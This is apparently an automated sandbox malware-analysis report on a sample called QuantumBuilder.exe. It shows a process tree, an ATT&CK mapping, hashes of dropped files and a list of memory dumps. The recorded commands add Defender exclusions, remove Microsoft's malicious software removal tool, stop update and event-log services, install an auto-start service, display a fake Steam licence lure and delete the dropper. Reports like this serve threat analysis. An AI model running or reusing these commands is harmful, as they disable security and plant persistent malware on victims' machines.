AFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AHEAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbABpAHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMARwBlAHQALgBlAHgAZQAnACkAPAAjAGsAcwBrACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#ufh#>[System.Windows.Forms.MessageBox]::Show('No license! Connect your Steam account in order to get a license. Make sure that you are not using alternative account, otherwise license will not be given. (This is done to prevent cracking)','','OK','Warning')<#zqe#>;
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2680
- - C:\Users\Admin\AppData\Roaming\lic.exe
    "C:\Users\Admin\AppData\Roaming\lic.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1780
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3216
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:588
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:2484
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:2532
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:2832
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:1420
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:1540
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4196
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3692
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1028
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3256
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3608
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "FJIEXRSL"
      4⤵
      Launches sc.exe
      PID:4424
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "FJIEXRSL" binpath= "C:\ProgramData\mwvfjadyvgps\ebvoxlrooljj.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:4488
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:1496
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "FJIEXRSL"
      4⤵
      Launches sc.exe
      PID:4940
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\lic.exe"
      4⤵
      PID:2960
    - - C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        
        PID:4496
- - C:\Users\Admin\AppData\Roaming\liccheck.exe
    "C:\Users\Admin\AppData\Roaming\liccheck.exe"
    3⤵
    - Executes dropped EXE
    PID:3560
- - C:\Users\Admin\AppData\Roaming\LicGet.exe
    "C:\Users\Admin\AppData\Roaming\LicGet.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:1032

C:\ProgramData\mwvfjadyvgps\ebvoxlrooljj.exe
C:\ProgramData\mwvfjadyvgps\ebvoxlrooljj.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4980
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  PID:1728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 186b4f81ac762e8bda66248fd38ce38190d108b5c430293f64c1dcef5ff32b65
MD5 33943ddf7ab410f98e2bff392ed62441
SHA1 f27016ff8b33cb2b8df39364d0ae2bf8a2c00e52
SHA512 918d18568c816149d1dd848e1a5bfba9f3e84c9e4e23d4e4982c05cf9366ceac265ba82333aa2a917d2374fd6eb62877f28a92b226baee03918d8608af2d7ede
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba
MD5 06ad34f9739c5159b4d92d702545bd49
SHA1 9152a0d4f153f3f40f7e606be75f81b582ee0c17
SHA512 c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYoFi3j39MVvjMLUsszyhMUp7Fv+Eca5b/h4ie:KC+jH04tAHk5MrxyNhftflJdPYoFi3jc
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 b12d2009a70c094a1b8406e9ccba5f603cac113be4e181204b459c64cc9a979b
MD5 d8bbc4ddd978259352aef2dc9c2459a8
SHA1 346ad375eeef60ff1f78bb9cbc5422accf40a429
SHA512 523f2e138cc921c67c10f14b811718b85119bd3ca7a529883309d974bb27e497db8a5f46425651c7f3f3da584e52d2592e64e9a3901706bc74f4ef592e50a52e
SSDEEP 384:/sf+IW09i+QfwVy1BiGJkzdo2TpK6seYB47/na3Soeahr3llFPzpM8wrmq3whQKb:0fIN4Aobho2TpNh+SgJl9zp9ey9
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_dijnwssh.mzx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dijnwssh.mzx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

LicGet.exe

Path C:\Users\Admin\AppData\Roaming\LicGet.exe
Size 98KB
SHA256 87fad0da502598adcb3da26c2a260cefcec7f383d73b62f94d7c8175812c0fad
MD5 d505d50ab745d07a7c9cba97717febe4
SHA1 528d34e656da344a33a5e3fe27ac43ad5f7dfd0a
SHA512 28a8975b6133c366cdcde075acbec07ce7be6fa7a98387dabe5d5c5024368ac9663705d668b1c48f4da6ae8b0f6b95798ac1e4abada6a5a885d431467c8febf1
SSDEEP 1536:cl/akjiL+8EzcvyQQrRrOTCEUG6WGGxz0d2uJEzlZ294eWNKrKiNMI:cl/akuL+8A4yQeOhB0d2uJIc1WNKrKQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

lic.exe

Path C:\Users\Admin\AppData\Roaming\lic.exe
Size 2.8MB
SHA256 5543ea3c67eb8e9bb763a54e80a042dfa7b297d62610e7fe057d0fc7be49212c
MD5 87f351e454deded1b279aef5a5d632e9
SHA1 a936b08d94983f58a31f1207d73fd640fcbabd1a
SHA512 3c40874adc3ea30d147b68ba74aadb0b0228a822137dd0db04daa611a6ecc8ee8e0bfc49fb7242dee60bc2fa6860575f4061c7ff8aa9e4105550c710316f2b8f
SSDEEP 49152:7gK89pV5H9YwL5T1mIWJS8b7+7ghxwL1mZczbX7vdbWVd++7iVtsue:P8/fH9bJ1mZdbwghxwL7zbX7V6XiY
MD5 SHA1 SHA512 SSDEEP

Submit Download

liccheck.exe

Path C:\Users\Admin\AppData\Roaming\liccheck.exe
Size 355KB
SHA256 7ff6d4737f39fefefa9fc6d1f3dc31fcc968d0d45bb09a364457a0af51af860f
MD5 091267b13791fb80a21044c473e74298
SHA1 7a4240532744ccb36fbd15f179dd0799b73de881
SHA512 e69a6d7309bd73a365f088918c7cae13a8b0925f5b395e38c9cd51509d5b451694a660143f5be4d24624b51f4a4a6a1c2c0fac0a650a539386a81e4eaa7e71c2
SSDEEP 6144:g2qezd2ab1/RuHk+M3k8M3W7XomjOJCqshrOlumY6DMIewgxQfqwsb:gf2R/EEkCQFYDwRqL
MD5 SHA1 SHA512 SSDEEP

Submit Download

QuantumBuilder.exe

Path C:\Users\Admin\Desktop\QuantumBuilder.exe
Size 74KB
SHA256 ccc95afa02727297eb7f6bbbe5e06d011ce4656c3b563e2841fad60d471e2f26
MD5 8fb7a6bd32200aea3f517923285e39a8
SHA1 dc5c1e8293cce5d82c5d7d338fb3cee57d2b997d
SHA512 1445bc293350022e9302374df3915e71f3b8bd281db5a43bf67362b002896404e21a58e68963a6203d6ab04dffd5745c2ce1d2fbd650975936b327befa15e3a1
SSDEEP 384:UWWFjyor85Z6coSQJ14p9FfVg6FHkosvxB2JeJhrpX5m4KbfocN4UCMfKqIOmRUG:ua5ZRo34pdsvpA1c3UzD9eXOeOiict9
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/432-669-0x00007FFC0A7B0000-0x00007FFC0A7C0000-memory.dmp

Download

memory/432-667-0x00000245F7DC0000-0x00000245F7DEB000-memory.dmp

Download

memory/612-649-0x00007FFC0A7B0000-0x00007FFC0A7C0000-memory.dmp

Download

memory/612-646-0x000001478D440000-0x000001478D464000-memory.dmp

Download

memory/612-648-0x000001478D470000-0x000001478D49B000-memory.dmp

Download

memory/660-650-0x000001E2CD260000-0x000001E2CD28B000-memory.dmp

Download

memory/660-653-0x00007FFC0A7B0000-0x00007FFC0A7C0000-memory.dmp

Download

memory/720-679-0x00007FFC0A7B0000-0x00007FFC0A7C0000-memory.dmp

Download

memory/944-662-0x00007FFC0A7B0000-0x00007FFC0A7C0000-memory.dmp

Download

memory/944-658-0x0000020A47FF0000-0x0000020A4801B000-memory.dmp

Download

memory/1020-663-0x00007FFC0A7B0000-0x00007FFC0A7C0000-memory.dmp

Download

memory/1020-659-0x00000247DB380000-0x00000247DB3AB000-memory.dmp

Download

memory/1084-684-0x00007FFC0A7B0000-0x00007FFC0A7C0000-memory.dmp

Download

memory/1100-691-0x00007FFC0A7B0000-0x00007FFC0A7C0000-memory.dmp

Download

memory/1124-696-0x00007FFC0A7B0000-0x00007FFC0A7C0000-memory.dmp

Download

memory/1156-693-0x00000156F2740000-0x00000156F276B000-memory.dmp

Download

memory/1156-697-0x00007FFC0A7B0000-0x00007FFC0A7C0000-memory.dmp

Download

memory/1264-699-0x000002CCA7490000-0x000002CCA74BB000-memory.dmp

Download

memory/1264-702-0x00007FFC0A7B0000-0x00007FFC0A7C0000-memory.dmp

Download

memory/1592-475-0x00000000748E0000-0x0000000075090000-memory.dmp

Download

memory/1592-487-0x0000000004930000-0x0000000004940000-memory.dmp

Download

memory/1592-486-0x0000000004930000-0x0000000004940000-memory.dmp

Download

memory/1592-518-0x00000000071A0000-0x0000000007232000-memory.dmp

Download

memory/1592-587-0x0000000004930000-0x0000000004940000-memory.dmp

Download

memory/1592-585-0x0000000004930000-0x0000000004940000-memory.dmp

Download

memory/1592-580-0x00000000748E0000-0x0000000075090000-memory.dmp

Download

memory/2616-503-0x0000000002E60000-0x0000000002E70000-memory.dmp

Download

memory/2616-502-0x0000000002E60000-0x0000000002E70000-memory.dmp

Download

memory/2616-519-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Download

memory/2616-520-0x0000000070700000-0x000000007074C000-memory.dmp

Download

memory/2616-531-0x0000000002E60000-0x0000000002E70000-memory.dmp

Download

memory/2616-530-0x0000000002E60000-0x0000000002E70000-memory.dmp

Download

memory/2616-571-0x00000000748E0000-0x0000000075090000-memory.dmp

Download

memory/2616-501-0x00000000748E0000-0x0000000075090000-memory.dmp

Download

memory/2680-532-0x00000000021A0000-0x00000000021B0000-memory.dmp

Download

memory/2680-533-0x00000000021A0000-0x00000000021B0000-memory.dmp

Download

memory/2680-535-0x00000000748E0000-0x0000000075090000-memory.dmp

Download

memory/2680-598-0x00000000021A0000-0x00000000021B0000-memory.dmp

Download

memory/2680-599-0x00000000748E0000-0x0000000075090000-memory.dmp

Download

memory/2860-594-0x00000000023E0000-0x00000000027E0000-memory.dmp

Download

memory/2860-589-0x0000000000860000-0x0000000000869000-memory.dmp

Download

memory/2860-597-0x00000000023E0000-0x00000000027E0000-memory.dmp

Download

memory/2860-596-0x0000000075260000-0x0000000075475000-memory.dmp

Download

memory/2860-593-0x00007FFC4A730000-0x00007FFC4A925000-memory.dmp

Download

memory/2860-591-0x00000000023E0000-0x00000000027E0000-memory.dmp

Download

memory/2860-592-0x00000000023E0000-0x00000000027E0000-memory.dmp

Download

memory/3048-515-0x0000000007900000-0x0000000007914000-memory.dmp

Download

memory/3048-489-0x00000000076F0000-0x0000000007793000-memory.dmp

Download

memory/3048-448-0x0000000002B70000-0x0000000002BA6000-memory.dmp

Download

memory/3048-516-0x0000000007940000-0x000000000795A000-memory.dmp

Download

memory/3048-449-0x00000000748E0000-0x0000000075090000-memory.dmp

Download

memory/3048-450-0x0000000004E50000-0x0000000004E60000-memory.dmp

Download

memory/3048-451-0x0000000004E50000-0x0000000004E60000-memory.dmp

Download

memory/3048-472-0x000000007EF50000-0x000000007EF60000-memory.dmp

Download

memory/3048-514-0x00000000078F0000-0x00000000078FE000-memory.dmp

Download

memory/3048-513-0x00000000078C0000-0x00000000078D1000-memory.dmp

Download

memory/3048-517-0x0000000007930000-0x0000000007938000-memory.dmp

Download

memory/3048-471-0x0000000007960000-0x0000000007F04000-memory.dmp

Download

memory/3048-470-0x00000000066A0000-0x00000000066C2000-memory.dmp

Download

memory/3048-474-0x0000000070700000-0x000000007074C000-memory.dmp

Download

memory/3048-534-0x00000000748E0000-0x0000000075090000-memory.dmp

Download

memory/3048-485-0x00000000076D0000-0x00000000076EE000-memory.dmp

Download

memory/3048-570-0x00000000748E0000-0x0000000075090000-memory.dmp

Download

memory/3048-473-0x0000000007690000-0x00000000076C2000-memory.dmp

Download

memory/3048-561-0x0000000004E50000-0x0000000004E60000-memory.dmp

Download

memory/3048-500-0x0000000007870000-0x000000000787A000-memory.dmp

Download

memory/3048-499-0x0000000008590000-0x0000000008C0A000-memory.dmp

Download

memory/3048-469-0x0000000006650000-0x000000000666A000-memory.dmp

Download

memory/3048-468-0x0000000007310000-0x00000000073A6000-memory.dmp

Download

memory/3048-467-0x0000000006190000-0x00000000061DC000-memory.dmp

Download

memory/3048-466-0x0000000006140000-0x000000000615E000-memory.dmp

Download

memory/3048-465-0x0000000005BA0000-0x0000000005EF4000-memory.dmp

Download

memory/3048-455-0x0000000005B30000-0x0000000005B96000-memory.dmp

Download

memory/3048-454-0x0000000005AC0000-0x0000000005B26000-memory.dmp

Download

memory/3048-453-0x00000000052A0000-0x00000000052C2000-memory.dmp

Download

memory/3048-452-0x0000000005490000-0x0000000005AB8000-memory.dmp

Download

memory/3560-582-0x0000000000670000-0x00000000006DD000-memory.dmp

Download

memory/3560-581-0x00000000032E0000-0x00000000036E0000-memory.dmp

Download

memory/3560-562-0x0000000000670000-0x00000000006DD000-memory.dmp

Download

memory/3560-578-0x00000000032E0000-0x00000000036E0000-memory.dmp

Download

memory/3608-636-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/3608-643-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/3608-642-0x00007FFC48B60000-0x00007FFC48C1E000-memory.dmp

Download

memory/3608-641-0x00007FFC4A730000-0x00007FFC4A925000-memory.dmp

Download

memory/3608-640-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/3608-637-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/3608-638-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/3608-635-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/4748-583-0x0000000003D70000-0x0000000004170000-memory.dmp

Download

memory/4748-588-0x0000000075260000-0x0000000075475000-memory.dmp

Download

memory/4748-584-0x00007FFC4A730000-0x00007FFC4A925000-memory.dmp

Download

memory/4748-579-0x0000000003D70000-0x0000000004170000-memory.dmp

Download

memory/4748-576-0x0000000003D70000-0x0000000004170000-memory.dmp

Download

memory/4748-575-0x0000000003D70000-0x0000000004170000-memory.dmp

Download

memory/4748-559-0x0000000000670000-0x00000000006DD000-memory.dmp

Download

memory/4876-616-0x0000022AA7FA0000-0x0000022AA7FB0000-memory.dmp

Download

memory/4876-615-0x0000022AA7FA0000-0x0000022AA7FB0000-memory.dmp

Download

memory/4876-614-0x00007FFC2B390000-0x00007FFC2BE51000-memory.dmp

Download

memory/4876-609-0x0000022AC1F80000-0x0000022AC1FA2000-memory.dmp

Download

memory/4876-627-0x0000022AC2BC0000-0x0000022AC2BDC000-memory.dmp

Download